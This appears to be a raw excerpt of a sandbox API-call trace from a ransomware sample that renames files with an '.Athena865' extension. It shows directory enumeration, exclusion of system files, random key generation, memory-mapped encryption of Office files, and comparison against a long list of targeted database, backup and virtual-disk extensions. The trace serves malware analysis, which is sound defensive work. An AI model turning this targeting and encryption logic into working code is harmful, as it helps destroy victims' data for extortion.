lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.632] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.633] CloseHandle (hObject=0x154) returned 1 [0086.633] CloseHandle (hObject=0x17c) returned 1 [0086.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.634] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBS2EXCL.XSL", cAlternateFileName="")) returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2=".") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="..") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="windows") returned -1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="bootmgr") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="temp") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="pagefile.sys") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="boot") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="ids.txt") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="ntuser.dat") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="perflogs") returned 1 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2="MSBuild") returned 1 [0086.634] lstrlenW (lpString="VBS2EXCL.XSL") returned 12 [0086.634] lstrcpyW (in: lpString1=0x241e89e, lpString2="VBS2EXCL.XSL" | out: lpString1="VBS2EXCL.XSL") returned="VBS2EXCL.XSL" [0086.634] lstrlenW (lpString="VBS2EXCL.XSL") returned 12 [0086.634] lstrlenW (lpString="Athena865") returned 9 [0086.634] lstrcmpiW (lpString1="2EXCL.XSL", lpString2="Athena865") returned -1 [0086.634] lstrlenW (lpString=".dll") returned 4 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2=".dll") returned 1 [0086.634] lstrlenW (lpString=".lnk") returned 4 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2=".lnk") returned 1 [0086.634] lstrlenW (lpString=".ini") returned 4 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2=".ini") returned 1 [0086.634] lstrlenW (lpString=".sys") returned 4 [0086.634] lstrcmpiW (lpString1="VBS2EXCL.XSL", lpString2=".sys") returned 1 [0086.634] lstrlenW (lpString="VBS2EXCL.XSL") returned 12 [0086.634] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL.Athena865") returned 65 [0086.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl.athena865"), dwFlags=0x1) returned 1 [0086.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.635] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4296) returned 1 [0086.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.636] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.636] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.636] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.637] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x154 [0086.638] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x100000 [0086.639] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.640] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.640] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.641] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.641] CloseHandle (hObject=0x154) returned 1 [0086.641] CloseHandle (hObject=0x17c) returned 1 [0086.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.641] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x189d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBS2WORD.XSL", cAlternateFileName="")) returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2=".") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="..") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="windows") returned -1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="bootmgr") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="temp") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="pagefile.sys") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="boot") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="ids.txt") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="ntuser.dat") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="perflogs") returned 1 [0086.641] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2="MSBuild") returned 1 [0086.641] lstrlenW (lpString="VBS2WORD.XSL") returned 12 [0086.642] lstrcpyW (in: lpString1=0x241e89e, lpString2="VBS2WORD.XSL" | out: lpString1="VBS2WORD.XSL") returned="VBS2WORD.XSL" [0086.642] lstrlenW (lpString="VBS2WORD.XSL") returned 12 [0086.642] lstrlenW (lpString="Athena865") returned 9 [0086.642] lstrcmpiW (lpString1="2WORD.XSL", lpString2="Athena865") returned -1 [0086.642] lstrlenW (lpString=".dll") returned 4 [0086.642] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2=".dll") returned 1 [0086.642] lstrlenW (lpString=".lnk") returned 4 [0086.642] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2=".lnk") returned 1 [0086.642] lstrlenW (lpString=".ini") returned 4 [0086.642] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2=".ini") returned 1 [0086.642] lstrlenW (lpString=".sys") returned 4 [0086.642] lstrcmpiW (lpString1="VBS2WORD.XSL", lpString2=".sys") returned 1 [0086.642] lstrlenW (lpString="VBS2WORD.XSL") returned 12 [0086.642] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL.Athena865") returned 65 [0086.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl.athena865"), dwFlags=0x1) returned 1 [0086.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.643] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6301) returned 1 [0086.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.643] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.644] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.644] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.644] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba0, lpName=0x0) returned 0x154 [0086.646] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba0) returned 0x100000 [0086.647] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.647] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.647] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.648] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.648] CloseHandle (hObject=0x154) returned 1 [0086.648] CloseHandle (hObject=0x17c) returned 1 [0086.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.648] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6bf6fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x24380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VERBWIND.DLL", cAlternateFileName="")) returned 1 [0086.648] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.648] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.648] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2=".") returned 1 [0086.648] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="..") returned 1 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="windows") returned -1 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="bootmgr") returned 1 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="temp") returned 1 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="pagefile.sys") returned 1 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2="boot") returned 1 [0086.649] lstrcpyW (in: lpString1=0x241e89e, lpString2="VERBWIND.DLL" | out: lpString1="VERBWIND.DLL") returned="VERBWIND.DLL" [0086.649] lstrlenW (lpString="VERBWIND.DLL") returned 12 [0086.649] lstrlenW (lpString="Athena865") returned 9 [0086.649] lstrcmpiW (lpString1="BWIND.DLL", lpString2="Athena865") returned 1 [0086.649] lstrlenW (lpString=".dll") returned 4 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2=".dll") returned 1 [0086.649] lstrlenW (lpString=".lnk") returned 4 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2=".lnk") returned 1 [0086.649] lstrlenW (lpString=".ini") returned 4 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2=".ini") returned 1 [0086.649] lstrlenW (lpString=".sys") returned 4 [0086.649] lstrcmpiW (lpString1="VERBWIND.DLL", lpString2=".sys") returned 1 [0086.649] lstrlenW (lpString="VERBWIND.DLL") returned 12 [0086.649] lstrlenW (lpString="bak") returned 3 [0086.649] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0086.649] lstrlenW (lpString="ba_") returned 3 [0086.649] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0086.649] lstrlenW (lpString="dbb") returned 3 [0086.649] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0086.649] lstrlenW (lpString="vmdk") returned 4 [0086.649] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0086.649] lstrlenW (lpString="rar") returned 3 [0086.649] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0086.650] lstrlenW (lpString="zip") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0086.650] lstrlenW (lpString="tgz") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0086.650] lstrlenW (lpString="vbox") returned 4 [0086.650] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0086.650] lstrlenW (lpString="vdi") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0086.650] lstrlenW (lpString="vhd") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0086.650] lstrlenW (lpString="vhdx") returned 4 [0086.650] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0086.650] lstrlenW (lpString="avhd") returned 4 [0086.650] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0086.650] lstrlenW (lpString="db") returned 2 [0086.650] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0086.650] lstrlenW (lpString="db2") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0086.650] lstrlenW (lpString="db3") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0086.650] lstrlenW (lpString="dbf") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0086.650] lstrlenW (lpString="mdf") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0086.650] lstrlenW (lpString="mdb") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0086.650] lstrlenW (lpString="sql") returned 3 [0086.650] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0086.650] lstrlenW (lpString="sqlite") returned 6 [0086.650] lstrcmpiW (lpString1="ND.DLL", lpString2="sqlite") returned -1 [0086.650] lstrlenW (lpString="sqlite3") returned 7 [0086.650] lstrcmpiW (lpString1="IND.DLL", lpString2="sqlite3") returned -1 [0086.650] lstrlenW (lpString="sqlitedb") returned 8 [0086.650] lstrcmpiW (lpString1="WIND.DLL", lpString2="sqlitedb") returned 1 [0086.651] lstrlenW (lpString="xml") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0086.651] lstrlenW (lpString="$er") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0086.651] lstrlenW (lpString="4dd") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0086.651] lstrlenW (lpString="4dl") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0086.651] lstrlenW (lpString="^^^") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0086.651] lstrlenW (lpString="abs") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0086.651] lstrlenW (lpString="abx") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0086.651] lstrlenW (lpString="accdb") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accdb") returned 1 [0086.651] lstrlenW (lpString="accdc") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accdc") returned 1 [0086.651] lstrlenW (lpString="accde") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accde") returned 1 [0086.651] lstrlenW (lpString="accdr") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accdr") returned 1 [0086.651] lstrlenW (lpString="accdt") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accdt") returned 1 [0086.651] lstrlenW (lpString="accdw") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accdw") returned 1 [0086.651] lstrlenW (lpString="accft") returned 5 [0086.651] lstrcmpiW (lpString1="D.DLL", lpString2="accft") returned 1 [0086.651] lstrlenW (lpString="adb") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.651] lstrlenW (lpString="adb") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.651] lstrlenW (lpString="ade") returned 3 [0086.651] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0086.652] lstrlenW (lpString="adf") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0086.652] lstrlenW (lpString="adn") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0086.652] lstrlenW (lpString="adp") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0086.652] lstrlenW (lpString="alf") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0086.652] lstrlenW (lpString="ask") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0086.652] lstrlenW (lpString="btr") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0086.652] lstrlenW (lpString="cat") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0086.652] lstrlenW (lpString="cdb") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0086.652] lstrlenW (lpString="ckp") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0086.652] lstrlenW (lpString="cma") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0086.652] lstrlenW (lpString="cpd") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0086.652] lstrlenW (lpString="dacpac") returned 6 [0086.652] lstrcmpiW (lpString1="ND.DLL", lpString2="dacpac") returned 1 [0086.652] lstrlenW (lpString="dad") returned 3 [0086.652] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0086.652] lstrlenW (lpString="dadiagrams") returned 10 [0086.652] lstrcmpiW (lpString1="RBWIND.DLL", lpString2="dadiagrams") returned 1 [0086.652] lstrlenW (lpString="daschema") returned 8 [0086.652] lstrcmpiW (lpString1="WIND.DLL", lpString2="daschema") returned 1 [0086.652] lstrlenW (lpString="db-journal") returned 10 [0086.652] lstrcmpiW (lpString1="RBWIND.DLL", lpString2="db-journal") returned 1 [0086.653] lstrlenW (lpString="db-shm") returned 6 [0086.653] lstrcmpiW (lpString1="ND.DLL", lpString2="db-shm") returned 1 [0086.653] lstrlenW (lpString="db-wal") returned 6 [0086.653] lstrcmpiW (lpString1="ND.DLL", lpString2="db-wal") returned 1 [0086.653] lstrlenW (lpString="dbc") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0086.653] lstrlenW (lpString="dbs") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0086.653] lstrlenW (lpString="dbt") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0086.653] lstrlenW (lpString="dbv") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0086.653] lstrlenW (lpString="dbx") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0086.653] lstrlenW (lpString="dcb") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0086.653] lstrlenW (lpString="dct") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0086.653] lstrlenW (lpString="dcx") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0086.653] lstrlenW (lpString="ddl") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0086.653] lstrlenW (lpString="dlis") returned 4 [0086.653] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0086.653] lstrlenW (lpString="dp1") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0086.653] lstrlenW (lpString="dqy") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0086.653] lstrlenW (lpString="dsk") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0086.653] lstrlenW (lpString="dsn") returned 3 [0086.653] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0086.653] lstrlenW (lpString="dtsx") returned 4 [0086.653] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0086.654] lstrlenW (lpString="dxl") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0086.654] lstrlenW (lpString="eco") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0086.654] lstrlenW (lpString="ecx") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0086.654] lstrlenW (lpString="edb") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0086.654] lstrlenW (lpString="epim") returned 4 [0086.654] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0086.654] lstrlenW (lpString="fcd") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0086.654] lstrlenW (lpString="fdb") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0086.654] lstrlenW (lpString="fic") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0086.654] lstrlenW (lpString="flexolibrary") returned 12 [0086.654] lstrlenW (lpString="fm5") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0086.654] lstrlenW (lpString="fmp") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0086.654] lstrlenW (lpString="fmp12") returned 5 [0086.654] lstrcmpiW (lpString1="D.DLL", lpString2="fmp12") returned -1 [0086.654] lstrlenW (lpString="fmpsl") returned 5 [0086.654] lstrcmpiW (lpString1="D.DLL", lpString2="fmpsl") returned -1 [0086.654] lstrlenW (lpString="fol") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0086.654] lstrlenW (lpString="fp3") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0086.654] lstrlenW (lpString="fp4") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0086.654] lstrlenW (lpString="fp5") returned 3 [0086.654] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0086.654] lstrlenW (lpString="fp7") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0086.655] 